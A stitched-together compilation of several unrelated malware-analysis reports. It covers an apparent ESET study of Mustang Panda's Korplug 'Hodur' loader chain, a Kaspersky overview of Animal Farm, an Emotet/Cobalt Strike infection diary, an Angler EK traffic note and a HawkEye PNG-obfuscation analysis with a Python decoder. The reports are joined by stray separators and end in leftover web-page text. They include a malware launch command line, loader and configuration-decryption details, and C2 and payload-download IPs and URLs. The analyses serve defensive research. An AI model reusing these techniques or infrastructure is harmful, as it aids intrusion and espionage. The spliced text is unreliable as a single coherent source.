Compromise chains seen in this campaign follow the typical Korplug pattern: a legitimate, validly signed executable vulnerable to DLL search-order hijacking, a malicious DLL, and an encrypted Korplug file are deployed on the target machine. The executable is abused to load the module, which then decrypts and executes the Korplug RAT. In some cases, a downloader is used first to deploy these files along with a decoy document.
What sets this campaign apart is the heavy use of control-flow obfuscation and anti-analysis techniques at every stage of the deployment process. The following sections describe the behavior of each stage and take a deeper look at the defense evasion techniques used in each of them.
### Initial Access
We haven’t been able to observe the initial deployment vector, but our analysis points to phishing and watering hole attacks as likely vectors. In instances where we saw a downloader, the filenames used suggest a document with an interesting subject for the target. Such examples include:
- `COVID-19 travel restrictions EU reviews list of third countries.exe`
- `State_aid__Commission_approves_2022-2027_regional_aid_map_for_Greece.exe`
- `REGULATION OF THE EUROPEAN PARLIAMENT AND OF THE COUNCIL.exe`
- `Situation at the EU borders with Ukraine.exe`
To further the illusion, these binaries download and open a document that has the same name but with a .doc or .pdf extension. The contents of these decoys accurately reflect the filename.
### Downloader
Although its complexity has increased over the course of the campaign, the downloader is fairly straightforward. This increase in complexity comes from additional anti-analysis techniques.
It first downloads four files over HTTPS: a decoy document, a legitimate executable, a malicious module, and an encrypted Korplug file. The combination of those last three components to execute a payload via DLL side-loading is sometimes referred to as a trident and is a technique commonly used by Mustang Panda, and with Korplug loaders in general. Both the server addresses and file paths are hardcoded in the downloader executable. Once everything is downloaded, and the decoy document opened to distract the victim, the downloader uses the following command line to launch the legitimate executable:
```
cmd /c ping 8.8.8.8 -n 70&&”%temp%\<legitimate executable>”
```
The downloader uses multiple anti-analysis techniques, many of which are also used in the loader and final payload. Additional obfuscation has been added to new versions over the course of the campaign without otherwise changing their goal.
In early versions of the downloader, junk code and opaque predicates were used to hinder analysis, but the server and filenames are plainly visible in cleartext. In later versions, the files on the server are RC4 encrypted, using the base 10 string representation of the file size as the key, and then hex-encoded. The opposite operations are performed client-side by the downloader to recover the plaintext files. This is likely done to bypass network-level protections.
### Loader
As is common with Korplug, the loader is a DLL that exploits a side-loading vulnerability in a legitimate, signed executable. We have observed many different applications being abused in this campaign, for instance a vulnerable SmadAV executable previously seen by Qurium in a campaign attributed to Mustang Panda that targeted Myanmar.
The loader exports multiple functions. The exact list varies depending on the abused application, but in all cases, only one of them does anything of consequence. In all of the loaders we observed, this is the exported function with the highest load address. All the other exports, and the library’s entry point, either return immediately or execute some do-nothing junk code.
The loader function obtains the directory from which the DLL is running using `GetModuleFileNameA` and tries to open the encrypted Korplug file it contains. That filename is hardcoded in the loader. It reads the file’s contents into a locally allocated buffer and decrypts it. The loader makes this buffer executable using `VirtualProtect` before calling into it at offset 0x00.
Windows API function calls are obfuscated with a different technique than that used in the downloader. Unlike the loader, which contains the names of its functions, only the 64-bit hashes of the Windows API function calls are present in the binary. To resolve those functions, the loader traverses the export lists of all loaded libraries via the InMemoryOrderModuleList of the PEB. Each export’s name is hashed, then compared to the expected value.
### Korplug Backdoor
Korplug (also known as PlugX) is a RAT used by multiple APT groups. In spite of it being so widely used, or perhaps because of it, few reports extensively describe its commands and the data it exfiltrates. Its functionality is not constant between variants, but there does seem to exist a significant overlap in the list of commands between the version we analyzed and other sources.
As previously mentioned, the variant used in this campaign bears many similarities to the THOR variant, which is why we have named it Hodur. The similarities include the use of the `Software\CLASSES\ms-pu` registry key, the same format for C&C servers in the configuration, and use of the Static window class.
As expected for Korplug payloads, this stage is only ever decrypted in memory by the loader. Only the encrypted version is written to disk in a file with a .dat extension.
### Loading
Once decrypted, the payload is a valid DLL that exports a single function. In almost all observed samples from this campaign, this function is named `StartProtect`. However, launching it directly via this export or its entry point will not execute the main payload and the loading process is quite intricate.
The file is decrypted in memory as a continuous blob by the loader and the execution starts at offset 0x00. The PE header contains shellcode that calls a specific offset that corresponds to the module’s single export.
This function parses the PE blob in memory and manually maps it as a library into a newly allocated buffer. This includes mapping the various sections, resolving imports and, finally, using `DLL_PROCESS_ATTACH` to call the DLL entry point. Once again, opaque predicates and junk code are used to obfuscate the purpose of this function.
The entry point of the properly loaded library is then called with the non-standard value of 0x04 for the `fdwReason` parameter. This special value is required to get it to execute its main payload. This simple check prevents the RAT from being trivially executed directly with a generic tool like `rundll32.exe`.
The backdoor first decrypts its configuration using the string `123456789` as a repeating XOR key. Once decrypted, the configuration block starts with `########`. The layout of the configuration varies slightly between samples, but they all contain at least the following fields:
- Installation directory name. Also used as the name of the registry key created for persistence.
- Mutex name
- A value that is either a version or ID string
- List of C&C servers. Each entry includes IP address, port number, and a number indicating the protocol to use with that C&C.
The backdoor then checks the path from which it is running using `GetModuleFileNameW`. If this matches `%userprofile%\<installation directory>` or `%allusersprofile%\<installation directory>`, the RAT functionality will be executed. Otherwise, it will go through the installation process.
### Installation
To install itself, the malware creates the aforementioned directory under `%allusersprofile%`. Using `SetFileAttributesW`, it is then marked as hidden and system. The vulnerable executable, loader module, and encrypted Korplug files are copied to the new directory.
Next, persistence is established. Earlier samples achieved this by creating a scheduled task to be run at boot via `schtasks.exe`. Newer samples add a registry entry to `Software\Microsoft\Windows\CurrentVersion\Run`, trying the HKLM hive first, then HKCU. This entry has the same name as the installation directory with its value set to the newly copied executable’s path.
Once persistence has been set up, the malware launches the executable from its new location and exits.
### RAT Functionality
The RAT functionality of the Hodur variant used in this campaign mostly lines up with other Korplug variants, with some additional commands and characteristics. When in this mode, the backdoor iterates through the list of C&C servers in its configuration until it reaches the end or receives an Uninstall command. For each of those servers, it processes commands until it receives a Stop command or encounters an error.
Hodur’s initial handshake can be done over HTTPS or TCP. This is determined by a value in the configuration for that particular C&C server. Subsequent communication is always done over TCP using a custom protocol.
Following the initial handshake, Hodur’s communications involve TCP messages that consist of a header, followed by a message body that is usually compressed using LZNT1 and always encrypted with RC4.
## Conclusion
The decoys used in this campaign show once more how quickly Mustang Panda is able to react to world events. For example, an EU regulation on COVID-19 was used as a decoy only two weeks after it came out, and documents about the war in Ukraine started being used in the days following the beginning of the invasion. This group also demonstrates an ability to iteratively improve its tools, including its signature use of trident downloaders to deploy Korplug.
For any inquiries about our research published on WeLiveSecurity, please contact us at [email protected]. ESET Research now also offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page.
## IoCs
| SHA-1 | Filename | ESET detection name | Description |
|-------|----------|---------------------|-------------|
| 69AB6B9906F8DCE03B43BEBB7A07189A69DC507B | coreclr.dll | Win32/Agent.ADMW | Korplug loader. |
| 10AE4784D0FFBC9CD5FD85B150830AEA3334A1DE | N/A | Win32/Korplug.TC | Decrypted Korplug (dumped from memory). |
| 4EBFC035179CD72D323F0AB357537C094A276E6D | PowerDVD18.exe | Win32/Delf.UTN | Korplug loader. |
| FDBB16B8BA7724659BAB5B2E1385CFD476F10607 | N/A | Win32/Korplug.TB | Decrypted Korplug (dumped from memory). |
| 7E059258CF963B95BDE479D1C374A4C300624986 | N/A | Win32/Korplug.TC | Decrypted Korplug (dumped from memory). |
| 7992729769760ECAB37F2AA32DE4E61E77828547 | SHELLSEL.ocx | Win32/Agent.ADMW | Korplug loader. |
| F05E89D031D051159778A79D81685B62AFF4E3F9 | SymHp.exe | Win32/Delf.UTN | Korplug loader. |
| AB01E099872A094DC779890171A11764DE8B4360 | BoomerangLib.dll | Win32/Korplug.TH | Korplug loader. |
| CDB15B1ED97985D944F883AF05483990E02A49F7 | PotPlayer.dll | Win32/Agent.ADYO | Korplug loader. |
| 908F55D21CCC2E14D4FF65A7A38E26593A0D9A70 | SmadHook32.dll | Win32/Agent.ADMW | Korplug loader. |
| 477A1CE31353E8C26A8F4E02C1D378295B302C9E | N/A | Win32/Agent.ADMW | Korplug loader. |
| 52288C2CDB5926ECC970B2166943C9D4453F5E92 | SmadHook32c.dll | Win32/Agent.ADMW | Korplug loader. |
| CBD875EE456C84F9E87EC392750D69A75FB6B23A | SHELLSEL.ocx | Win32/Agent.ADMW | Korplug loader. |
| 2CF4BAFE062D38FAF4772A7D1067B80339C2CE82 | Adobe_Caps.dll | Win32/Agent.ADMW | Korplug loader. |
| 97C92ADD7145CF9386ABD5527A8BCD6FABF9A148 | DocConvDll.dll | Win32/Agent.ADYO | Korplug loader. |
| 39863CECA1B0F54F5C063B3015B776CDB05971F3 | N/A | Win32/Korplug.TD | Decrypted Korplug (dumped from memory). |
| 0D5348B5C9A66C743615E819AEF152FB5B0DAB97 | FontEDL.exe | clean | Vulnerable legitimate Font File Generator executable. |
| C8F5825499315EAF4B5046FF79AC9553E71AD1C0 | Silverlight.Configuration.exe | clean | Vulnerable legitimate Microsoft Silverlight Configuration Utility executable. |
| D4FFE4A4F2BD2C19FF26139800C18339087E39CD | PowerDVDLP.exe | clean | Vulnerable legitimate PowerDVD executable. |
| 65898ACA030DCEFDA7C970D3A311E8EA7FFC844A | Symantec.exe | clean | Vulnerable legitimate Symantec AntiVirus executable. |
| 7DDB61872830F4A0E6BF96FAF665337D01F164FC | Adobe Stock Photos CS3.exe | clean | Vulnerable legitimate Adobe Stock Photos executable. |
| C13D0D669365DFAFF9C472E615A611E058EBF596 | COVID-19 travel restrictions EU reviews list of third countries.exe | Win32/Agent_AGen.NJ | Downloader. |
| 062473912692F7A3FAB8485101D4FCF6D704ED23 | REGULATION OF THE EUROPEAN PARLIAMENT AND OF THE COUNCIL.exe | Win32/TrojanDownloader.Agent.GDL | Downloader. |
| 2B5D6BB5188895DA4928DD310C7C897F51AAA050 | log.dll | Win32/Agent.ACYW | Korplug loader. |
| 511DA645A7282FB84FF18C33398E67D7661FD663 | 2.exe | Win32/Agent.ADPL | Korplug loader. |
| 59002E1A58065D7248CD9D7DD62C3F865813EEE6 | log.dll | Win32/Agent.ADXE | Korplug loader. |
| F67C553678B7857D1BBC488040EA90E6C52946B3 | KINGSTON.exe | Win32/Agent.ADXZ | Korplug Loader. |
| 58B6B5FD3F2BFD182622F547A93222A4AFDF4E76 | PotPlayer.exe | clean | Vulnerable legitimate executable. |
## Network
| Domain | IP | First Seen | Notes |
|--------|----|------------|-------|
| 103.56.53[.]120 | 2021‑06‑15 | Korplug C&C |
| 154.204.27[.]181 | 2020‑10‑05 | Korplug C&C. |
| 43.254.218[.]42 | 2021-02-09 | Download server. |
| 45.131.179[.]179 | 2020‑10‑05 | Korplug C&C. |
| 176.113.69[.]91 | 2021-04-19 | Korplug C&C. |
| upespr[.]com | 45.154.14[.]235 | 2022-01-17 | Download server. |
| urmsec[.]com | 156.226.173[.]23 | 2022‑02‑23 | Download server. |
| 101.36.125[.]203 | 2021-06-01 | Korplug C&C. |
| 185.207.153[.]208 | 2022‑02‑03 | Download server. |
| 154.204.27[.]130 | 2021-12-14 | Korplug C&C. |
| 92.118.188[.]78 | 2022-01-27 | Korplug C&C. |
| zyber-i[.]com | 107.178.71[.]211 | 2022-03-01 | Download server. |
| locvnpt[.]com | 103.79.120[.]66 | 2021-05-21 | Download server. This domain was previously used in a 2020 campaign documented by Recorded Future. |
## MITRE ATT&CK Techniques
| Tactic | ID | Name | Description |
|--------|----|------|-------------|
| Resource Development | T1583.001 | Acquire Infrastructure: Domains | Mustang Panda has registered domains for use as download servers. |
| Resource Development | T1583.003 | Acquire Infrastructure: Virtual Private Server | Some download servers used by Mustang Panda appear to be on shared hosting. |
| Resource Development | T1583.004 | Acquire Infrastructure: Server | Mustang Panda uses servers that appear to be exclusive to the group. |
| Development Capabilities | T1587.001 | Develop Capabilities: Malware | Mustang Panda has developed custom loader and Korplug versions. |
| Obtain Capabilities | T1588.006 | Obtain Capabilities: Vulnerabilities | Multiple DLL hijacking vulnerabilities are used in the deployment process. |
| Stage Capabilities | T1608.001 | Stage Capabilities: Upload Malware | Malicious payloads are hosted on the download servers. |
| Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | Windows command shell is used to execute commands sent by the C&C server. |
| Execution | T1106 | Native API | Mustang Panda uses CreateProcess and ShellExecute for execution. |
| Execution | T1129 | Shared Modules | Mustang Panda uses LoadLibrary to load additional DLLs at runtime. The loader and RAT are DLLs. |
| Execution | T1204.002 | User Execution: Malicious File | Mustang Panda relies on the user executing the initial downloader. |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | Korplug can persist via registry Run keys. |
| Persistence | T1053.005 | Scheduled Task/Job: Scheduled Task | Korplug can persist by creating a scheduled task that runs on startup. |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | The Korplug file is encrypted and only decrypted at runtime, and its configuration data is encrypted with XOR. |
| Defense Evasion | T1564.001 | Hide Artifacts: Hidden Files and Directories | Directories created during the installation process are set as hidden system directories. |
| Defense Evasion | T1564.003 | Hide Artifacts: Hidden Window | Korplug can run commands on a hidden desktop. |
| Defense Evasion | T1070 | Indicator Removal on Host | Korplug’s uninstall command deletes registry keys that store data and provide persistence. |
| Defense Evasion | T1070.004 | Indicator Removal on Host: File Deletion | Korplug can remove itself and all created directories. |
| Defense Evasion | T1070.006 | Indicator Removal on Host: Timestomp | When writing to a file, Korplug sets the file’s timestamps to their previous values. |
| Discovery | T1083 | File and Directory Discovery | Korplug can list files and directories along with their attributes and content. |
| Discovery | T1082 | System Information Discovery | Korplug collects extensive information about the system including uptime, Windows version, CPU clock rate, amount of RAM and display resolution. |
| Discovery | T1614 | System Location Discovery | Korplug retrieves the system locale using GetSystemDefaultLCID. |
| Discovery | T1016 | System Network Configuration Discovery | Korplug collects the system hostname and IP addresses. |
| Discovery | T1016.001 | System Network Configuration Discovery: Internet Connection Discovery | The downloader pings Google’s DNS server to check internet connectivity. |
| Discovery | T1033 | System Owner/User Discovery | Korplug obtains the current user’s username. |
| Discovery | T1124 | System Time Discovery | Korplug uses GetSystemTime to retrieve the current system time. |
| Collection | T1005 | Data from Local System | Korplug collects extensive data about the system it’s running on. |
| Collection | T1025 | Data from Removable Media | Korplug can collect metadata and content from all mapped drives. |
| Collection | T1039 | Data from Network Shared Drive | Korplug can collect metadata and content from all mapped drives. |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | Korplug can make the initial handshake over HTTPS. |
| Command and Control | T1095 | Non-Application Layer Protocol | C&C communication is done over a custom TCP-based protocol. |
| Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | C&C communication is encrypted using RC4. |
| Command and Control | T1008 | Fallback Channels | The Korplug configuration contains fallback C&C servers. |
| Command and Control | T1105 | Ingress Tool Transfer | Korplug can download additional files from the C&C server. |
| Command and Control | T1571 | Non-Standard Port | When Hodur performs its initial handshake over HTTPS, it uses the same port as for the rest of the communication. |
| Command and Control | T1132.001 | Data Encoding: Standard Encoding | Korplug compresses transferred data using LZNT1. |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | Data exfiltration is done via the same custom protocol used to send and receive commands. | |
# Animals in the APT Farm
In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. Victims include:
- Government organizations
- Military contractors
- Humanitarian aid organizations
- Private companies
- Journalists and media organizations
- Activists
Our colleagues at Cyphort, G-DATA, and ESET have recently published blogs about Bunny, Casper, and Babar, some of the Trojans used by the Animal Farm group. The Farm includes several Trojans, which we have grouped into six major families:
Here’s a brief description of the animals in the farm:
- **Bunny** – an old “validator”-style Trojan used with a PDF zero-day attack in 2011.
- **Dino** – a full-featured espionage platform.
- **Babar** – the most sophisticated espionage platform from the Animal Farm group.
- **NBot** – malware used in a botnet-style operation by the group. It has DDoS capabilities.
- **Tafacalou** – a validator-style Trojan used by the attackers in recent years. Confirmed victims get upgraded to Dino or Babar.
- **Casper** – the most recent “validator”-style implant from the Animal Farm group.
The group has been active since at least 2009, and there are signs that earlier malware versions were developed as far back as 2007.
Over the years, we have tracked multiple campaigns by the Animal Farm group. These can be identified by a specific code found either in the malware configuration or extracted from the C&C logs. Most recently, the group deployed the Casper Trojan via a watering-hole attack in Syria. A full description of this zero-day attack can be found in this blog post by Kaspersky Lab’s Vyacheslav Zakorzhevsky.
In addition to these, the Animal Farm attackers used at least one unknown, mysterious malware during an operation targeting computer users in Burkina Faso.
## KSN & Sinkholing statistics
During the investigation, we sinkholed a large number of C&C servers used by the Animal Farm group. This allowed us to compile a comprehensive picture of both targets and victims. The malware known as Tafacalou (aka “TFC”, “Transporter”) is perhaps of greatest interest here, because it acts as an entry point for the more sophisticated spy platforms Babar and Dino. Based on the Tafacalou infection logs, we observed that most of the victims are in the following countries: Syria, Iran, Malaysia, USA, China, Turkey, Netherlands, Germany, Great Britain, Russia, Sweden, Austria, Algeria, Israel, Iraq, Morocco, New Zealand, Ukraine.
## What does “Tafacalou” mean?
“Tafacalou” is the attacker’s internal name for one of the validator (1st stage) Trojans. We tried various spellings of this word to see if it means anything in a specific language, and the most interesting option is one with its origins in the Occitan language: “Ta Fa Calou.” The expression “Fa Calou” is the French interpretation of the Occitane “Fa Calor” which means “it’s getting hot.” ‘Ta Fa Calou” could therefore be taken to mean “so it’s getting hot” based on the Occitan language.
According to Wikipedia: ‘Occitan is a Romance language spoken in southern France, Italy’s Occitan Valleys, Monaco, and Spain’s Val d’Aran; collectively, these regions are sometimes referred to unofficially as “Occitania.”
Note: A detailed technical report on Animal Farm is available to customers of Kaspersky Intelligent Services. For more information, contact [email protected]. |
# Emotet Infection with Cobalt Strike
**Published:** 2022-07-07
**Last Updated:** 2022-07-07 22:47:35 UTC
**by Brad Duncan**
## Introduction
Although I haven't been posting examples lately, Emotet has remained active since I last wrote an ISC diary about it in February 2022. Today on Thursday 2022-07-07, I have a new example of an Emotet infection with Cobalt Strike to share.
## Images from the Infection
- **Desktop from the Windows host** in my lab used for today's Emotet infection.
- **Email client** I had populated with messages before today's infection. The last four messages with attachments are Emotet malspam based on a previous Emotet infection.
- **Emotet malspam** used for today's infection.
- **Malicious Excel spreadsheet** used for today's infection.
- **Traffic from the infection** filtered in Wireshark (1 of 2).
- **Traffic from the infection** filtered in Wireshark (2 of 2).
- **Process Hacker** showing processes for both Emotet and Cobalt Strike.
- **Registry update** and location of persistent Emotet directory with Cobalt Strike.
## Indicators of Compromise (IOCs)
**Malware from an infected Windows host:**
- **SHA256 hash:** 25d4b42c98e6fb6ea5f91393252a446e0141074765e955b3e561d8b56454a73a
**File size:** 97,280 bytes
**File name:** INVOICE0004010160.xls
**File description:** Excel spreadsheet with macros for Emotet
- **SHA256 hash:** 1e8d9f532c2c5909ba3a8ec8d05fc8bed667dcc0c2592224827b614af7fa3ce1
**File size:** 346,112 bytes
**File location:** C:\Users\[username]\soci1.ocx
**File location:** C:\Users\[username]\AppData\Local\QjPIBTDyAjEJA\AMtPK.dll
**File description:** 64-bit DLL for Emotet
**Run method:** regsvr32.exe [filename]
- **SHA256 hash:** aa4b22bf31692e70b63dfa0c93888e1795c2d861550f6926c720c3609df4c39a
**File size:** 346,112 bytes
**File location:** C:\Users\[username]\soci2.ocx
**File location:** C:\Users\[username]\AppData\Local\WuaJyi\NPpaqh.dll
**File description:** 64-bit DLL for Emotet
**Run method:** regsvr32.exe [filename]
- **SHA256 hash:** 2c7e18f64c2f229d03afc9b6231f950c0489b684ec0792e75baceb4a03833ff3
**File size:** 304,128 bytes
**File location:** C:\Users\[username]\AppData\Local\WuaJyi\zqjwHhWLy.dll
**File description:** Updated 64-bit Emotet DLL persistent on the infected Windows host
**Run method:** regsvr32.exe [filename]
- **SHA256 hash:** 6b4808050c2a6b80fc9945acdecec07a843436ea707f63555f6557057834333e
**File size:** 2,426,368 bytes
**File location:** C:\Users\[username]\AppData\Local\WuaJyi\XAcCGhgSRbRFvGp.exe
**File description:** 64-bit EXE for Cobalt Strike sent to Emotet-infected host
**Infection traffic:**
URLs generated by Excel macros for Emotet DLL files:
- 91.239.206[.]239 port 443 - hxxps://www.yell[.]ge/nav_logo/cvLMav68/
- 193.53.245[.]52 port 80 - airhobi[.]com - GET /system/4Z6puOENN1DH2HYMzKLz/
- 178.255.41[.]17 port 80 - zspwolawiazowa[.]pl - GET /images/Qb86rcUXgBHhg/
- 112.78.112[.]34 port 80 - yudaisuzuki[.]jp - GET /150911pre/nsA8XrN93S/
*Note: The first two returned DLL files, but the second two did not.*
**Emotet C2 traffic:**
- 164.90.222[.]65 port 443 - HTTPS traffic
- 144.202.108[.]116 port 8080 - HTTPS traffic
- 138.197.68[.]35 port 8080 - HTTPS traffic
- 34.80.191[.]247 port 7080 - HTTPS traffic
- 201.73.143[.]120 port 8080 - HTTPS traffic
- 146.59.151[.]250 port 443 - HTTPS traffic
- 162.243.103[.]246 port 8080 - HTTPS traffic
**Cobalt Strike traffic:**
- 52.18.235[.]51 port 443 - distinctive-obi-mgw.aws-euw1.cloud-ara.tyk[.]io - HTTPS traffic
**Cobalt Strike URLs:**
- distinctive-obi-mgw.aws-euw1.cloud-ara.tyk[.]io - GET /api/v2/login
- distinctive-obi-mgw.aws-euw1.cloud-ara.tyk[.]io - POST /api/v2/status?__cfduid=[19 characters, base64 string]
## Final Words
While Emotet might not get much high-profile press lately, it remains a continuing presence in our threat landscape. A packet capture (pcap) of today's infection traffic with the email and associated malware samples can be found here.
**Keywords:** Cobalt Strike, DLL, Emotet, Excel, EXE, malspam |
# Pseudo-Darkleech Angler EK from 185.118.66.154 Sends Bedep/CryptXXX
## Associated Files:
- **ZIP archive of the pcaps:** 2016-05-09-pseudo-Darkleech-Angler-EK-pcaps.zip (4.4 MB, 4,390,349 bytes)
- 2016-05-09-pseudo-Darkleech-Angler-EK-on-a-VM.pcap (780,111 bytes)
- 2016-05-09-pseudo-Darkleech-Angler-EK-on-a-normal-host-sends-Bedep-CryptXXX.pcap (4,114,289 bytes)
- **ZIP archive of the malware and artifacts:** 2016-05-09-pseudo-Darkleech-Angler-EK-malware-and-artifacts.zip (660.8 kB, 660,816 bytes)
- 2016-05-09-CryptXXX-decrypt-instructions.bmp (2,023,254 bytes)
- 2016-05-09-CryptXXX-decrypt-instructions.html (14,193 bytes)
- 2016-05-09-CryptXXX-decrypt-instructions.txt (1,755 bytes)
- 2016-05-09-CryptXXX-ransomware.dll (266,240 bytes)
- 2016-05-09-click-fraud-malware.dll (910,496 bytes)
- 2016-05-09-page-from-justmyvegas.com-with-pseudo-Darkleech-script.txt (16,848 bytes)
- 2016-05-09-pseudo-Darkleech-Angler-EK-flash-exploit.swf (66,870 bytes)
- 2016-05-09-pseudo-Darkleech-Angler-EK-landing-page.txt (169,412 bytes)
## Notes:
On Friday 2016-04-29, I saw svchost.exe (actually: rundll32.exe) in the same folder as the CryptXXX ransomware. It was used to run the CryptXXX .dll file. By Monday 2016-05-02, things were back to normal, with just the CryptXXX .dll file by itself in the folder. A week later (Monday 2016-05-09), I see svchost.exe again, dropped in the same folder as the CryptXXX .dll file. Today's CryptXXX behavior is slightly different than before, and the decryption instructions are formatted a little differently.
- **Today's Click-fraud malware:** C:\ProgramData\{9A88E103-A20A-4EA5-8636-C73B709A5BF8}\d3d10.dll
- **Today's CryptXXX ransomware:** C:\Users\[username]\AppData\Local\Temp\{98D13E48-E0E4-429B-9E7B-633FD7689461}\api-ms-win-system-framebuf-l1-1-0.dll
## Traffic
- **Associated Domains:**
- 185.118.66.154 port 80 - tilewrigbaieru.gt-racer.co.uk - Angler EK
- **Traffic Caused by Bedep:**
- 82.141.230.141 port 80 - qfsfajslsdexerid.com - POST /blog.php
- 104.193.252.241 port 80 - xqvyvibixozap.com - POST /blog_ajax.php
- 104.193.252.241 port 80 - xqvyvibixozap.com - POST /include/class_bbcode_blog.php
- 104.193.252.241 port 80 - xqvyvibixozap.com - POST /album.php
- 104.193.252.241 port 80 - xqvyvibixozap.com - POST /forumdisplay.php
- **Traffic Caused by CryptXXX:**
- 217.23.13.153 port 443 - TCP traffic, custom encoding
- 69.64.33.48 port 443 - TCP traffic, custom encoding
- **Traffic Caused by Click-fraud Malware:**
- 5.199.141.203 port 80 - ranetardinghap.com - GET /adsc.php?sid=1957
- 93.190.141.27 port 80 - cetinhechinhis.com - GET /adsc.php?sid=1957
- 95.211.205.218 port 80 - tedgeroatref.com - GET /adsc.php?sid=1957
- 104.193.252.236 port 80 - rerobloketbo.com - GET /adsc.php?sid=1957
- 162.244.34.11 port 80 - tonthishessici.com - GET /adsc.php?sid=1957
- 188.138.105.185 port 80 - kimpelasomasot.com - GET /adsc.php?sid=1957
## Final Notes
Once again, here are the associated files:
- **ZIP archive of the pcaps:** 2016-05-09-pseudo-Darkleech-Angler-EK-pcaps.zip (4.4 MB, 4,390,349 bytes)
- **ZIP archive of the malware and artifacts:** 2016-05-09-pseudo-Darkleech-Angler-EK-malware-and-artifacts.zip (660.8 kB, 660,816 bytes)
ZIP files are password-protected with the standard password. If you don't know it, look at the "about" page of this website. |
# Analysis of an Unusual HawkEye Sample
Currently, we are observing HawkEye samples being distributed by large malspam waves. HawkEye is a keylogger which has been around quite a long time (since 2013) and has evolved since then and gained more functionality. There are several good blog posts about HawkEye in general. Recently we observed an interesting obfuscation method in a HawkEye binary, which we are going to describe in this blog post.
## Extracting Base32 Encoded DLL
HawkEye is written in .NET and thus we can analyze it rather easily with the help of dnSpy. Looking through the decompiled source code in dnSpy, we find the method `gate` in the class `Sinister`. The Base32 encoded strings are concatenated, then reversed and decoded. The output of the decoded string is a DLL written in .NET as well. We can easily decode the string using `rev` and `base32` on a Linux system or with the help of similar tools. After decoding, the DLL is loaded and the property `iraq` is set via reflection. This value is a concatenated string consisting of the following nine static strings.
**Side note:** The concatenated string used here is encoded with non-Latin letters (maybe Farsi, any feedback most welcome). Trying to concatenate the strings in a text editor did not really work; however, using dotnetfiddle.net revealed the correct string. Update: According to our colleagues at FedPol/BKP, the string is actually Urdu. Thanks for the hint, most appreciated.
## Extracting EXE File from Embedded PNG
After opening the DLL in dnSpy, we can examine the `set_iraq` method. The only thing this method does is to pass the argument to the method `ArgueMents.e1`. The method `e1` loads and starts another executable file. In order to analyze this executable, we need to know how it is loaded into the `rawAssembly` array and how we can extract it.
Line 30 instantiates a `Bitmap` object with the value that was passed to the `set_iraq` method. Looking at the code of the method `i10`, we see that the image is loaded from the `ResourceManager` of the main binary. The bitmap is a PNG file, located in the resource section of the main executable. Next, the `Bitmap` is passed to the method `e5`. This method reads the width and the height of the PNG. It then loops over the height (inner loop) and the width (outer loop) and stores the red, green, and blue value of every pixel into an array and returns it. The alpha values as well as all pixels that are `(0,0,0,0)` are omitted.
The resulting array is then passed to the decryption method `e9`. In this method, a new array is created which is 16 bytes smaller than the array containing the color values. Then, the image array is copied to the new array (the first 16 bytes are omitted). The first 16 bytes are in fact the key needed to decrypt the rest of the data using XOR. There is a for loop, which will iterate over every value in the smaller array and XORs the value with the corresponding value of the key. The decoded data is a PE file (exe), which is loaded into the memory. Finally, the `EntryPoint` of the file is called. As the key is stored in the image itself, we can write a small Python script to decrypt this and similar images.
```python
#!/usr/bin/python3
from PIL import Image
import argparse
KEY_LENGTH = 16
def get_color_values(file_name):
arr = bytearray()
im = Image.open(file_name)
w, h = im.size
for i in range(w):
for j in range(h):
r, g, b, t = im.getpixel((i, j))
# ignore zero values
if (r, g, b, t) != (0, 0, 0, 0):
arr.extend([r, g, b])
return arr
def process(input_file, output_file):
arr = get_color_values(input_file)
key = arr[:KEY_LENGTH]
data = arr[KEY_LENGTH:]
for i in range(len(data)):
data[i] ^= key[i % KEY_LENGTH]
with open(output_file, "wb") as o:
o.write(data)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("input_file")
parser.add_argument("output_file")
args = parser.parse_args()
process(args.input_file, args.output_file)
```
In this case, the resulting PE file is once again heavily obfuscated; the first stage is obfuscated with Babel Obfuscator. The final payload after several obfuscation rounds is HawkEye.
## Conclusion
The obfuscation technique using a PNG file to store a PE file is neither new nor very advanced. However, we found it to be noteworthy nevertheless as we do not see it often. It could be an interesting way to bypass antivirus products because the PE file is loaded directly into the memory; however, in this case, the resulting HawkEye binary stores a copy of itself on the disk after the infection and therefore may be detected by AV products.
The detection rate of VirusTotal shows that the “smuggling” technique is actually working. The initial malicious file is detected by only 17 AV engines (two weeks after the first upload). The decrypted PE file was detected by 34 engines right after upload. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.